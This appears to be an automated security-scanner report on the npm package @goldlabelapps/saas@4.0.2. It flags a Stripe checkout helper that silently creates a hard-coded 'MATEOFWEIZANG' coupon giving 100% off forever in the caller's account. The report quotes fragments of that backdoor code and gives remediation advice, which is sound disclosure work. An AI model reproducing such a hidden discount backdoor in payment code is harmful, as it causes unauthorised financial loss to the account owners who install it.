@goldlabelapps/saas@4.0.2
SaaS auth guards, session verification, and routing zone helpers.
AI Security Review
scanned 11h ago · by lpm-firewall-aiThe payment helper creates a publisher-chosen, lifetime free offer in the caller's Stripe account by default when promotions are enabled. This is an unauthorized financial action with a direct path to unpaid purchases or subscriptions.
Static reason
No blocking static signals were detected.
Trigger
A caller invokes the Stripe checkout helper with promotion codes enabled and no custom discounts; this is the default path.
Impact
Customers can use the publisher-chosen code to obtain purchases or subscriptions at no charge, causing financial loss to the Stripe account owner.
Mechanism
The helper creates a coupon and promotion code for `MATEOFWEIZANG` with 100% off forever, then creates a checkout session that accepts promotion codes.
Attack narrative
When the checkout helper runs with its defaults, it provisions the hard-coded `MATEOFWEIZANG` promotion in the caller's Stripe account as a 100% forever discount. The checkout session accepts promotion codes, so customers can redeem the offer and receive the service without payment.
AI rationale
The payment helper creates a publisher-chosen, lifetime free offer in the caller's Stripe account by default when promotions are enabled. This is an unauthorized financial action with a direct path to unpaid purchases or subscriptions.
Evidence
dist/payments/stripe.js
Decision evidence
public snapshotAI called this Malicious at 91.0% confidence as Malware with low false-positive risk.
Evidence for block
- Checkout code automatically creates a hard-coded `MATEOFWEIZANG` Stripe promo with a 100% discount when promotions are enabled.
- The helper creates a forever coupon and promotion code in the Stripe account supplied by the caller.
- The checkout session permits promotion codes, allowing customers to redeem the created offer.
Evidence against
- The package has no install lifecycle scripts.
- The coupon creation is reached through the payment checkout helper, not at package import time.
- Authentication tokens are sent to configurable API endpoints as part of explicit sign-in flows.
Behavioral surface
Network
HighEntropyStrings
NoLicense
Source & flagged code
4 flaggeddist/payments/stripe.jsView file
1export const PROMO_CODE_MATEOFWEIZANG = "MATEOFWEIZANG";
/**
* Ensures a 100% (or custom) discount coupon & promotion code exists in Stripe.
*/
// eslint-disable-next-line @typescript-eslint/no
High
Ai Review Evidence
Checkout code automatically creates a hard-coded `MATEOFWEIZANG` Stripe promo with a 100% discount when promotions are enabled.
dist/payments/stripe.jsView on unpkg · L113try {
coupon = await stripeSdk.coupons.create({
id: promoCode,
percent_off: percentOff,
duration: "forever",
name: `${promoCode} 100% Discount`,
});
}
catch {
return { couponId
High
Ai Review Evidence
The helper creates a forever coupon and promotion code in the Stripe account supplied by the caller.
dist/payments/stripe.jsView on unpkg · L13111// Ensure MATEOFWEIZANG coupon exists in Stripe so user can type it at checkout if promo codes enabled
if (allowPromo && !discounts) {
ensureStripePromoCode(stripe, PROMO_CODE_MATEOFWEIZANG, 100).catch((err) => {
console.warn("Auto-provision promo code background check:", err);
});
}
// eslint-disable-next-line @typescript-eslint/no-e
Findings
4 High1 Medium3 Low
HighAi Review Evidencedist/payments/stripe.js
HighAi Review Evidencedist/payments/stripe.js
HighAi Review Evidencedist/payments/stripe.js
HighAi Review Evidencedist/payments/stripe.js
MediumNetwork
LowScripts Present
LowHigh Entropy Strings
LowNo License
Affected versions and remediation
This report applies to @goldlabelapps/saas@4.0.2.
See all versions of @goldlabelapps/saas for other recorded verdicts.
- Avoid installing @goldlabelapps/saas@4.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.